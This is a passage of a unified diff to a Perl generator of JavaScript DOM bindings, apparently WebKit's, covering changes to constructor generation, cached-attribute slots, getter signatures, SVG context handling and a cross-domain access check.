-        push(@getOwnPropertySlotImpl, "    if (ok && index < static_cast<$implClassName*>(impl())->length()) {\n");
+
+        # If the item function returns a string then we let the ConvertNullStringTo handle the cases
+        # where the index is out of range.
+        if (IndexGetterReturnsStrings($implClassName)) {
+            push(@getOwnPropertySlotImpl, "    if (ok) {\n");
+        } else {
+            push(@getOwnPropertySlotImpl, "    if (ok && index < static_cast<$implClassName*>(impl())->length()) {\n");
+        }
         if ($dataNode->extendedAttributes->{"HasCustomIndexGetter"} || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}) {
             push(@getOwnPropertySlotImpl, "        slot.setValue(getByIndex(exec, index));\n");
         } else {
@@ -368,6 +361,14 @@ sub GenerateGetOwnPropertyDescriptorBody
     my $namespaceMaybe = ($inlined ? "JSC::" : "");
     
     my @getOwnPropertyDescriptorImpl = ();
+    if ($dataNode->extendedAttributes->{"CheckDomainSecurity"}) {
+        if ($interfaceName eq "DOMWindow") {
+            push(@implContent, "    if (!static_cast<$className*>(thisObject)->allowsAccessFrom(exec))\n");
+        } else {
+            push(@implContent, "    if (!allowsAccessFromFrame(exec, static_cast<$className*>(thisObject)->impl()->frame()))\n");
+        }
+        push(@implContent, "        return false;\n");
+    }
     
     if ($interfaceName eq "NamedNodeMap" or $interfaceName eq "HTMLCollection" or $interfaceName eq "HTMLAllCollection") {
         push(@getOwnPropertyDescriptorImpl, "    ${namespaceMaybe}JSValue proto = prototype();\n");
@@ -476,7 +477,6 @@ sub GenerateHeader
     my $hasParent = $hasLegacyParent || $hasRealParent;
     my $parentClassName = GetParentClassName($dataNode);
     my $conditional = $dataNode->extendedAttributes->{"Conditional"};
-    my $needsSVGContext = IsSVGTypeNeedingContextParameter($interfaceName);
     my $eventTarget = $dataNode->extendedAttributes->{"EventTarget"};
     my $needsMarkChildren = $dataNode->extendedAttributes->{"CustomMarkFunction"} || $dataNode->extendedAttributes->{"EventTarget"};
     
@@ -496,8 +496,7 @@ sub GenerateHeader
     if ($hasParent) {
         $headerIncludes{"$parentClassName.h"} = 1;
     } else {
-        $headerIncludes{"DOMObjectWithSVGContext.h"} = $needsSVGContext;
-        $headerIncludes{"JSDOMBinding.h"} = !$needsSVGContext;
+        $headerIncludes{"JSDOMBinding.h"} = 1;
         $headerIncludes{"<runtime/JSGlobalObject.h>"} = 1;
         $headerIncludes{"<runtime/ObjectPrototype.h>"} = 1;
     }
@@ -520,6 +519,7 @@ sub GenerateHeader
     # Get correct pass/store types respecting PODType flag
     my $podType = $dataNode->extendedAttributes->{"PODType"};
     my $implType = $podType ? "JSSVGPODTypeWrapper<$podType> " : $implClassName;
+
     $headerIncludes{"$podType.h"} = 1 if $podType and $podType ne "float";
 
     $headerIncludes{"JSSVGPODTypeWrapper.h"} = 1 if $podType;
@@ -544,22 +544,23 @@ sub GenerateHeader
         push(@headerContent, "    $className(NonNullPassRefPtr<JSC::Structure>, PassRefPtr<$implType>, JSDOMWindowShell*);\n");
     } elsif ($dataNode->extendedAttributes->{"IsWorkerContext"}) {
         push(@headerContent, "    $className(NonNullPassRefPtr<JSC::Structure>, PassRefPtr<$implType>);\n");
-    } elsif (IsSVGTypeNeedingContextParameter($implClassName)) {
-        push(@headerContent, "    $className(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<$implType>, SVGElement* context);\n");
     } else {
         push(@headerContent, "    $className(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<$implType>);\n");
     }
 
     # Destructor
-    push(@headerContent, "    virtual ~$className();\n") if (!$hasParent or $eventTarget or $interfaceName eq "Document" or $interfaceName eq "DOMWindow");
+    push(@headerContent, "    virtual ~$className();\n") if (!$hasParent or $eventTarget or $interfaceName eq "DOMWindow");
 
     # Prototype
     push(@headerContent, "    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);\n") unless ($dataNode->extendedAttributes->{"ExtendsDOMGlobalObject"});
 
-    $implIncludes{"${className}Custom.h"} = 1 if $dataNode->extendedAttributes->{"CustomHeader"} || $dataNode->extendedAttributes->{"CustomPutFunction"} || $dataNode->extendedAttributes->{"DelegatingPutFunction"};
+    $headerTrailingIncludes{"${className}Custom.h"} = 1 if $dataNode->extendedAttributes->{"CustomHeader"};
+
+    $implIncludes{"${className}Custom.h"} = 1 if !$dataNode->extendedAttributes->{"CustomHeader"} && ($dataNode->extendedAttributes->{"CustomPutFunction"} || $dataNode->extendedAttributes->{"DelegatingPutFunction"});
 
     my $hasGetter = $numAttributes > 0 
-                 || $dataNode->extendedAttributes->{"GenerateConstructor"} 
+                 || !($dataNode->extendedAttributes->{"OmitConstructor"}
+                 || $dataNode->extendedAttributes->{"CustomConstructor"})
                  || $dataNode->extendedAttributes->{"HasIndexGetter"}
                  || $dataNode->extendedAttributes->{"HasCustomIndexGetter"}
                  || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}
@@ -610,7 +611,7 @@ sub GenerateHeader
     push(@headerContent,
         "    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)\n" .
         "    {\n" .
-        "        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));\n" .
+        "        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);\n" .
         "    }\n\n");
 
     # markChildren function
@@ -630,7 +631,7 @@ sub GenerateHeader
 
     # Custom getPropertyNames function exists on DOMWindow
     if ($interfaceName eq "DOMWindow") {
-        push(@headerContent, "    virtual void getPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);\n");
+        push(@headerContent, "    virtual void getPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);\n");
         $structureFlags{"JSC::OverridesGetPropertyNames"} = 1;
     }
 
@@ -639,13 +640,10 @@ sub GenerateHeader
 
     # Custom getOwnPropertyNames function
     if ($dataNode->extendedAttributes->{"CustomGetPropertyNames"} || $dataNode->extendedAttributes->{"HasIndexGetter"} || $dataNode->extendedAttributes->{"HasCustomIndexGetter"} || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}) {
-        push(@headerContent, "    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);\n");
+        push(@headerContent, "    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);\n");
         $structureFlags{"JSC::OverridesGetPropertyNames"} = 1;       
     }
 
-    # Custom getPropertyAttributes function
-    push(@headerContent, "    virtual bool getPropertyAttributes(JSC::ExecState*, const JSC::Identifier&, unsigned& attributes) const;\n") if $dataNode->extendedAttributes->{"CustomGetPropertyAttributes"};
-
     # Custom defineGetter function
     push(@headerContent, "    virtual void defineGetter(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSObject* getterFunction, unsigned attributes);\n") if $dataNode->extendedAttributes->{"CustomDefineGetter"};
 
@@ -665,7 +663,7 @@ sub GenerateHeader
     }
 
     # Constructor object getter
-    push(@headerContent, "    static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);\n") if $dataNode->extendedAttributes->{"GenerateConstructor"};
+    push(@headerContent, "    static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);\n") if (!($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"}));
 
     my $numCustomFunctions = 0;
     my $numCustomAttributes = 0;
@@ -677,9 +675,17 @@ sub GenerateHeader
             $numCustomAttributes++ if $attribute->signature->extendedAttributes->{"Custom"} || $attribute->signature->extendedAttributes->{"JSCCustom"};
             $numCustomAttributes++ if $attribute->signature->extendedAttributes->{"CustomGetter"} || $attribute->signature->extendedAttributes->{"JSCCustomGetter"};
             $numCustomAttributes++ if $attribute->signature->extendedAttributes->{"CustomSetter"} || $attribute->signature->extendedAttributes->{"JSCCustomSetter"};
+            if ($attribute->signature->extendedAttributes->{"CachedAttribute"}) {
+                push(@headerContent, "    static const unsigned " . $attribute->signature->name . "Slot = $numCachedAttributes + Base::AnonymousSlotCount;\n");
+                $numCachedAttributes++;
+            }
         }
     }
 
+    if ($numCachedAttributes > 0) {
+        push(@headerContent, "    using $parentClassName" . "::putAnonymousValue;\n");
+        push(@headerContent, "    using $parentClassName" . "::getAnonymousValue;\n");
+    }
     if ($numCustomAttributes > 0) {
         push(@headerContent, "\n    // Custom attributes\n");
 
@@ -726,6 +732,12 @@ sub GenerateHeader
         push(@headerContent, "    }\n");
     }
     
+    # anonymous slots
+    if ($numCachedAttributes) {
+        push(@headerContent, "public:\n");
+        push(@headerContent, "    static const unsigned AnonymousSlotCount = $numCachedAttributes + Base::AnonymousSlotCount;\n");
+    }
+
     # structure flags
     push(@headerContent, "protected:\n");
     push(@headerContent, "    static const unsigned StructureFlags = ");
@@ -736,7 +748,7 @@ sub GenerateHeader
 
     # Index getter
     if ($dataNode->extendedAttributes->{"HasIndexGetter"}) {
-        push(@headerContent, "    static JSC::JSValue indexGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);\n");
+        push(@headerContent, "    static JSC::JSValue indexGetter(JSC::ExecState*, JSC::JSValue, unsigned);\n");
     }
     if ($dataNode->extendedAttributes->{"HasCustomIndexGetter"} || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}) {
         push(@headerContent, "    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);\n");
@@ -751,7 +763,7 @@ sub GenerateHeader
     if ($dataNode->extendedAttributes->{"HasNameGetter"} || $dataNode->extendedAttributes->{"HasOverridingNameGetter"}) {
         push(@headerContent, "private:\n");
         push(@headerContent, "    static bool canGetItemsForName(JSC::ExecState*, $implClassName*, const JSC::Identifier&);\n");
-        push(@headerContent, "    static JSC::JSValue nameGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);\n");
+        push(@headerContent, "    static JSC::JSValue nameGetter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);\n");
     }
 
     push(@headerContent, "};\n\n");
@@ -769,7 +781,7 @@ sub GenerateHeader
 
     if (!$hasParent || $dataNode->extendedAttributes->{"GenerateToJS"} || $dataNode->extendedAttributes->{"CustomToJS"}) {
         if ($podType) {
-            push(@headerContent, "JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, JSSVGPODTypeWrapper<$podType>*, SVGElement* context);\n");
+            push(@headerContent, "JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, JSSVGPODTypeWrapper<$podType>*, SVGElement*);\n");
         } elsif (IsSVGTypeNeedingContextParameter($implClassName)) {
             push(@headerContent, "JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, $implType*, SVGElement* context);\n");
         } else {
@@ -818,7 +830,7 @@ sub GenerateHeader
     push(@headerContent,
         "    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)\n" .
         "    {\n" .
-        "        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));\n" .
+        "        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);\n" .
         "    }\n");
     if ($dataNode->extendedAttributes->{"DelegatingPrototypePutFunction"}) {
         push(@headerContent, "    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);\n");
@@ -848,20 +860,20 @@ sub GenerateHeader
         }
     }
 
-    if ($numAttributes > 0 || $dataNode->extendedAttributes->{"GenerateConstructor"}) {
+    if ($numAttributes > 0 || !($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"})) {
         push(@headerContent,"// Attributes\n\n");
         foreach my $attribute (@{$dataNode->attributes}) {
             my $getter = "js" . $interfaceName . $codeGenerator->WK_ucfirst($attribute->signature->name) . ($attribute->signature->type =~ /Constructor$/ ? "Constructor" : "");
-            push(@headerContent, "JSC::JSValue ${getter}(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);\n");
+            push(@headerContent, "JSC::JSValue ${getter}(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);\n");
             unless ($attribute->type =~ /readonly/) {
                 my $setter = "setJS" . $interfaceName . $codeGenerator->WK_ucfirst($attribute->signature->name) . ($attribute->signature->type =~ /Constructor$/ ? "Constructor" : "");
                 push(@headerContent, "void ${setter}(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);\n");
             }
         }
         
-        if ($dataNode->extendedAttributes->{"GenerateConstructor"}) {
+        if (!($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"})) {
             my $getter = "js" . $interfaceName . "Constructor";
-            push(@headerContent, "JSC::JSValue ${getter}(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);\n");
+            push(@headerContent, "JSC::JSValue ${getter}(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);\n");
         }
     }
 
@@ -869,7 +881,7 @@ sub GenerateHeader
         push(@headerContent,"// Constants\n\n");
         foreach my $constant (@{$dataNode->constants}) {
             my $getter = "js" . $interfaceName . $codeGenerator->WK_ucfirst($constant->name);
-            push(@headerContent, "JSC::JSValue ${getter}(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);\n");
+            push(@headerContent, "JSC::JSValue ${getter}(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);\n");
         }
     }
 
@@ -928,7 +940,7 @@ sub GenerateImplementation
 
     # - Add all attributes in a hashtable definition
     my $numAttributes = @{$dataNode->attributes};
-    $numAttributes++ if $dataNode->extendedAttributes->{"GenerateConstructor"};
+    $numAttributes++ if (!($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"}));
 
     if ($numAttributes > 0) {
         my $hashSize = $numAttributes;
@@ -969,7 +981,7 @@ sub GenerateImplementation
             }
         }
 
-        if ($dataNode->extendedAttributes->{"GenerateConstructor"}) {
+        if (!($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"})) {
             push(@hashKeys, "constructor");
             my $getter = "js" . $interfaceName . "Constructor";
             push(@hashValue1, $getter);
@@ -987,7 +999,7 @@ sub GenerateImplementation
     my $numFunctions = @{$dataNode->functions};
 
     # - Add all constants
-    if ($dataNode->extendedAttributes->{"GenerateConstructor"}) {
+    if (!($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"})) {
         $hashSize = $numConstants;
         $hashName = $className . "ConstructorTable";
 
@@ -1159,9 +1171,6 @@ sub GenerateImplementation
     my $podType = $dataNode->extendedAttributes->{"PODType"};
     my $implType = $podType ? "JSSVGPODTypeWrapper<$podType> " : $implClassName;
 
-    my $needsSVGContext = IsSVGTypeNeedingContextParameter($implClassName);
-    my $parentNeedsSVGContext = ($needsSVGContext and $parentClassName =~ /SVG/);
-
     # Constructor
     if ($interfaceName eq "DOMWindow") {
         AddIncludesForType("JSDOMWindowShell");
@@ -1172,16 +1181,19 @@ sub GenerateImplementation
         push(@implContent, "${className}::$className(NonNullPassRefPtr<Structure> structure, PassRefPtr<$implType> impl)\n");
         push(@implContent, "    : $parentClassName(structure, impl)\n");
     } else {
-        my $contextArg = $needsSVGContext ? ", SVGElement* context" : "";
-        push(@implContent, "${className}::$className(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<$implType> impl$contextArg)\n");
+        push(@implContent, "${className}::$className(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<$implType> impl)\n");
         if ($hasParent) {
-            push(@implContent, "    : $parentClassName(structure, globalObject, impl" . ($parentNeedsSVGContext ? ", context" : "") . ")\n");
+            push(@implContent, "    : $parentClassName(structure, globalObject, impl)\n");
         } else {
-            push(@implContent, "    : $parentClassName(structure, globalObject" . ($needsSVGContext ? ", context" : "") . ")\n");
+            push(@implContent, "    : $parentClassName(structure, globalObject)\n");
             push(@implContent, "    , m_impl(impl)\n");
         }
     }
     push(@implContent, "{\n");
+    if ($numCachedAttributes > 0) {
+        push(@implContent, "    for (unsigned i = Base::AnonymousSlotCount; i < AnonymousSlotCount; i++)\n");
+        push(@implContent, "        putAnonymousValue(i, JSValue());\n");
+    }
     push(@implContent, "}\n\n");
 
     # Destructor
@@ -1191,41 +1203,27 @@ sub GenerateImplementation
 
         if ($eventTarget) {
             $implIncludes{"RegisteredEventListener.h"} = 1;
-            push(@implContent, "    impl()->invalidateEventListeners();\n");
+            push(@implContent, "    impl()->invalidateJSEventListeners(this);\n");
         }
 
         if (!$dataNode->extendedAttributes->{"ExtendsDOMGlobalObject"}) {
             if ($interfaceName eq "Node") {
                  push(@implContent, "    forgetDOMNode(this, impl(), impl()->document());\n");
             } else {
-                if ($podType) {
-                    my $animatedType = $implClassName;
-                    $animatedType =~ s/SVG/SVGAnimated/;
-
-                    # Special case for JSSVGNumber
-                    if ($codeGenerator->IsSVGAnimatedType($animatedType) and $podType ne "float") {
-                        push(@implContent, "    JSSVGDynamicPODTypeWrapperCache<$podType, $animatedType>::forgetWrapper(m_impl.get());\n");
-                    }
-                }
                 push(@implContent, "    forgetDOMObject(this, impl());\n");
             }
+
+            push(@implContent, "    JSSVGContextCache::forgetWrapper(this);\n") if IsSVGTypeNeedingContextParameter($implClassName);
         }
 
         push(@implContent, "}\n\n");
     }
 
-    # Document needs a special destructor because it's a special case for caching. It needs
-    # its own special handling rather than relying on the caching that Node normally does.
-    if ($interfaceName eq "Document") {
-        push(@implContent, "${className}::~$className()\n");
-        push(@implContent, "{\n    forgetDOMObject(this, static_cast<${implClassName}*>(impl()));\n}\n\n");
-    }
-
     if ($needsMarkChildren && !$dataNode->extendedAttributes->{"CustomMarkFunction"}) {
         push(@implContent, "void ${className}::markChildren(MarkStack& markStack)\n");
         push(@implContent, "{\n");
         push(@implContent, "    Base::markChildren(markStack);\n");
-        push(@implContent, "    impl()->markEventListeners(markStack);\n");
+        push(@implContent, "    impl()->markJSEventListeners(markStack);\n");
         push(@implContent, "}\n\n");
     }
 
@@ -1241,7 +1239,8 @@ sub GenerateImplementation
     }
 
     my $hasGetter = $numAttributes > 0 
-                 || $dataNode->extendedAttributes->{"GenerateConstructor"} 
+                 || !($dataNode->extendedAttributes->{"OmitConstructor"} 
+                 || $dataNode->extendedAttributes->{"CustomConstructor"})
                  || $dataNode->extendedAttributes->{"HasIndexGetter"}
                  || $dataNode->extendedAttributes->{"HasCustomIndexGetter"}
                  || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}
@@ -1292,9 +1291,9 @@ sub GenerateImplementation
                     push(@implContent, "#if ${conditionalString}\n");
                 }
 
-                push(@implContent, "JSValue ${getFunctionName}(ExecState* exec, const Identifier&, const PropertySlot& slot)\n");
+                push(@implContent, "JSValue ${getFunctionName}(ExecState* exec, JSValue slotBase, const Identifier&)\n");
                 push(@implContent, "{\n");
-                push(@implContent, "    ${className}* castedThis = static_cast<$className*>(asObject(slot.slotBase()));\n");
+                push(@implContent, "    ${className}* castedThis = static_cast<$className*>(asObject(slotBase));\n");
 
                 my $implClassNameForValueConversion = "";
                 if (!$podType and ($codeGenerator->IsSVGAnimatedType($implClassName) or $attribute->type !~ /^readonly/)) {
@@ -1324,12 +1323,14 @@ sub GenerateImplementation
                     push(@implContent, "    UNUSED_PARAM(exec);\n");
                     push(@implContent, "    $implClassName* imp = static_cast<$implClassName*>(castedThis->impl());\n");
                     push(@implContent, "    if (EventListener* listener = imp->$implGetterFunctionName()) {\n");
+                    push(@implContent, "        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {\n");
                     if ($implClassName eq "Document" || $implClassName eq "WorkerContext" || $implClassName eq "SharedWorkerContext" || $implClassName eq "DedicatedWorkerContext") {
-                        push(@implContent, "        if (JSObject* jsFunction = listener->jsFunction(imp))\n");
+                        push(@implContent, "            if (JSObject* jsFunction = jsListener->jsFunction(imp))\n");
                     } else {
-                        push(@implContent, "        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))\n");
+                        push(@implContent, "            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))\n");
                     }
-                    push(@implContent, "            return jsFunction;\n");
+                    push(@implContent, "                return jsFunction;\n");
+                    push(@implContent, "        }\n");
                     push(@implContent, "    }\n");
                     push(@implContent, "    return jsNull();\n");
                 } elsif ($attribute->signature->type =~ /Constructor$/) {
@@ -1340,12 +1341,19 @@ sub GenerateImplementation
                     push(@implContent, "    return JS" . $constructorType . "::getConstructor(exec, castedThis);\n");
                 } elsif (!@{$attribute->getterExceptions}) {
                     push(@implContent, "    UNUSED_PARAM(exec);\n");
+                    my $cacheIndex = 0;
+                    if ($attribute->signature->extendedAttributes->{"CachedAttribute"}) {
+                        $cacheIndex = $currentCachedAttribute;
+                        $currentCachedAttribute++;
+                        push(@implContent, "    if (JSValue cachedValue = castedThis->getAnonymousValue(" . $className . "::" . $attribute->signature->name . "Slot))\n");
+                        push(@implContent, "        return cachedValue;\n");
+                    }
                     if ($podType) {
                         push(@implContent, "    $podType imp(*castedThis->impl());\n");
                         if ($podType eq "float") { # Special case for JSSVGNumber
-                            push(@implContent, "    return " . NativeToJSValue($attribute->signature, 0, $implClassName, "", "imp", "castedThis") . ";\n");
+                            push(@implContent, "    JSValue result =  " . NativeToJSValue($attribute->signature, 0, $implClassName, "", "imp", "castedThis") . ";\n");
                         } else {
-                            push(@implContent, "    return " . NativeToJSValue($attribute->signature, 0, $implClassName, "", "imp.$implGetterFunctionName()", "castedThis") . ";\n");
+                            push(@implContent, "    JSValue result =  " . NativeToJSValue($attribute->signature, 0, $implClassName, "", "imp.$implGetterFunctionName()", "castedThis") . ";\n");
                         }
                     } else {
                         push(@implContent, "    $implClassName* imp = static_cast<$implClassName*>(castedThis->impl());\n");
@@ -1364,11 +1372,15 @@ sub GenerateImplementation
                         my $jsType = NativeToJSValue($attribute->signature, 0, $implClassName, $implClassNameForValueConversion, $value, "castedThis");
                         if ($codeGenerator->IsSVGAnimatedType($type)) {
                             push(@implContent, "    RefPtr<$type> obj = $jsType;\n");
-                            push(@implContent, "    return toJS(exec, castedThis->globalObject(), obj.get(), imp);\n");
+                            push(@implContent, "    JSValue result =  toJS(exec, castedThis->globalObject(), obj.get(), imp);\n");
                         } else {
-                            push(@implContent, "    return $jsType;\n");
+                            push(@implContent, "    JSValue result = $jsType;\n");
                         }
                     }
+                    
+                    push(@implContent, "    castedThis->putAnonymousValue(" . $className . "::" . $attribute->signature->name . "Slot, result);\n") if ($attribute->signature->extendedAttributes->{"CachedAttribute"});
+                    push(@implContent, "    return result;\n");
+
                 } else {
                     push(@implContent, "    ExceptionCode ec = 0;\n");                    
                     if ($podType) {
@@ -1392,20 +1404,13 @@ sub GenerateImplementation
                 push(@implContent, "\n");
             }
 
-            if ($dataNode->extendedAttributes->{"GenerateConstructor"}) {
+            if (!($dataNode->extendedAttributes->{"OmitConstructor"} || $dataNode->extendedAttributes->{"CustomConstructor"})) {
                 my $constructorFunctionName = "js" . $interfaceName . "Constructor";
 
-                push(@implContent, "JSValue ${constructorFunctionName}(ExecState* exec, const Identifier&, const PropertySlot& slot)\n");
+                push(@implContent, "JSValue ${constructorFunctionName}(ExecState* exec, JSValue slotBase, const Identifier&)\n");
                 push(@implContent, "{\n");
-                if (IsSVGTypeNeedingContextParameter($interfaceName)) {
-                    # FIXME: SVG bindings with a context pointer have no space to store a globalObject
-                    # so we use deprecatedGlobalObjectForPrototype instead.
-                    push(@implContent, "    UNUSED_PARAM(slot);\n");
-                    push(@implContent, "    return ${className}::getConstructor(exec, deprecatedGlobalObjectForPrototype(exec));\n");
-                } else {
-                    push(@implContent, "    ${className}* domObject = static_cast<$className*>(asObject(slot.slotBase()));\n");
-                    push(@implContent, "    return ${className}::getConstructor(exec, domObject->globalObject());\n");
-                }
+                push(@implContent, "    ${className}* domObject = static_cast<$className*>(asObject(slotBase));\n");
+                push(@implContent, "    return ${className}::getConstructor(exec, domObject->globalObject());\n");
                 push(@implContent, "}\n");
             }
         }
@@ -1461,6 +1466,12 @@ sub GenerateImplementation
                         my $putFunctionName = "setJS" . $interfaceName .  $codeGenerator->WK_ucfirst($name) . ($attribute->signature->type =~ /Constructor$/ ? "Constructor" : "");
                         my $implSetterFunctionName = $codeGenerator->WK_ucfirst($name);
 
+                        my $conditional = $attribute->signature->extendedAttributes->{"Conditional"};
+                        if ($conditional) {
+                            $conditionalString = "ENABLE(" . join(") && ENABLE(", split(/&/, $conditional)) . ")";
+                            push(@implContent, "#if ${conditionalString}\n");
+                        }
+
                         push(@implContent, "void ${putFunctionName}(ExecState* exec, JSObject* thisObject, JSValue value)\n");
                         push(@implContent, "{\n");
 
@@ -1479,36 +1490,30 @@ sub GenerateImplementation
                             $implIncludes{"JSEventListener.h"} = 1;
                             push(@implContent, "    UNUSED_PARAM(exec);\n");
                             push(@implContent, "    $implClassName* imp = static_cast<$implClassName*>(static_cast<$className*>(thisObject)->impl());\n");
-                            if ($dataNode->extendedAttributes->{"ExtendsDOMGlobalObject"}) {
-                                push(@implContent, "    JSDOMGlobalObject* globalObject = static_cast<$className*>(thisObject);\n");
-                            } else {
-                                $implIncludes{"Frame.h"} = 1;
-                                $implIncludes{"JSDOMGlobalObject.h"} = 1;
-                                push(@implContent, "    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);\n");
-                                push(@implContent, "    if (!globalObject)\n");
-                                push(@implContent, "        return;\n");
-                            }
-                            push(@implContent, "    imp->set$implSetterFunctionName(globalObject->createJSAttributeEventListener(value));\n");
+                            push(@implContent, "    imp->set$implSetterFunctionName(createJSAttributeEventListener(exec, value, thisObject));\n");
                         } elsif ($attribute->signature->type =~ /Constructor$/) {
                             my $constructorType = $attribute->signature->type;
                             $constructorType =~ s/Constructor$//;
-                            $implIncludes{"JS" . $constructorType . ".h"} = 1;
+                            if ($constructorType ne "DOMObject") {
+                                $implIncludes{"JS" . $constructorType . ".h"} = 1;
+                            }
                             push(@implContent, "    // Shadowing a built-in constructor\n");
                             push(@implContent, "    static_cast<$className*>(thisObject)->putDirect(Identifier(exec, \"$name\"), value);\n");
                         } elsif ($attribute->signature->extendedAttributes->{"Replaceable"}) {
                             push(@implContent, "    // Shadowing a built-in object\n");
                             push(@implContent, "    static_cast<$className*>(thisObject)->putDirect(Identifier(exec, \"$name\"), value);\n");
                         } else {
+                            push(@implContent, "    $className* castedThisObj = static_cast<$className*>(thisObject);\n");
+                            push(@implContent, "    $implType* imp = static_cast<$implType*>(castedThisObj->impl());\n");
                             if ($podType) {
-                                push(@implContent, "    $podType imp(*static_cast<$className*>(thisObject)->impl());\n");
+                                push(@implContent, "    $podType podImp(*imp);\n");
                                 if ($podType eq "float") { # Special case for JSSVGNumber
-                                    push(@implContent, "    imp = " . JSValueToNative($attribute->signature, "value") . ";\n");
+                                    push(@implContent, "    podImp = " . JSValueToNative($attribute->signature, "value") . ";\n");
                                 } else {
-                                    push(@implContent, "    imp.set$implSetterFunctionName(" . JSValueToNative($attribute->signature, "value") . ");\n");
+                                    push(@implContent, "    podImp.set$implSetterFunctionName(" . JSValueToNative($attribute->signature, "value") . ");\n");
                                 }
-                                push(@implContent, "        static_cast<$className*>(thisObject)->impl()->commitChange(imp, static_cast<$className*>(thisObject)->context());\n");
+                                push(@implContent, "    imp->commitChange(podImp, castedThisObj);\n");
                             } else {
-                                push(@implContent, "    $implClassName* imp = static_cast<$implClassName*>(static_cast<$className*>(thisObject)->impl());\n");
                                 my $nativeValue = JSValueToNative($attribute->signature, "value");
                                 push(@implContent, "    ExceptionCode ec = 0;\n") if @{$attribute->setterExceptions};
                                 my $reflect = $attribute->signature->extendedAttributes->{"Reflect"};
@@ -1524,15 +1529,19 @@ sub GenerateImplementation
                                 push(@implContent, ", ec") if @{$attribute->setterExceptions};
                                 push(@implContent, ");\n");
                                 push(@implContent, "    setDOMException(exec, ec);\n") if @{$attribute->setterExceptions};
-
                                 if (IsSVGTypeNeedingContextParameter($implClassName)) {
-                                    push(@implContent, "    if (static_cast<$className*>(thisObject)->context())\n");
-                                    push(@implContent, "        static_cast<$className*>(thisObject)->context()->svgAttributeChanged(static_cast<$className*>(thisObject)->impl()->associatedAttributeName());\n");
+                                    push(@implContent, "    JSSVGContextCache::propagateSVGDOMChange(castedThisObj, imp->associatedAttributeName());\n");
                                 }
                             }
                         }
                         
-                        push(@implContent, "}\n\n");
+                        push(@implContent, "}\n");
+
+                        if ($conditional) {
+                            push(@implContent, "#endif\n");
+                        }
+
+                        push(@implContent, "\n");
                     }
                 }
             }
@@ -1540,17 +1549,17 @@ sub GenerateImplementation
     }
 
     if (($dataNode->extendedAttributes->{"HasIndexGetter"} || $dataNode->extendedAttributes->{"HasCustomIndexGetter"} || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}) && !$dataNode->extendedAttributes->{"CustomGetPropertyNames"}) {
-        push(@implContent, "void ${className}::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)\n");
+        push(@implContent, "void ${className}::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)\n");
         push(@implContent, "{\n");
         if ($dataNode->extendedAttributes->{"HasIndexGetter"} || $dataNode->extendedAttributes->{"HasCustomIndexGetter"} || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}) {
             push(@implContent, "    for (unsigned i = 0; i < static_cast<${implClassName}*>(impl())->length(); ++i)\n");
             push(@implContent, "        propertyNames.add(Identifier::from(exec, i));\n");
         }
-        push(@implContent, "     Base::getOwnPropertyNames(exec, propertyNames);\n");
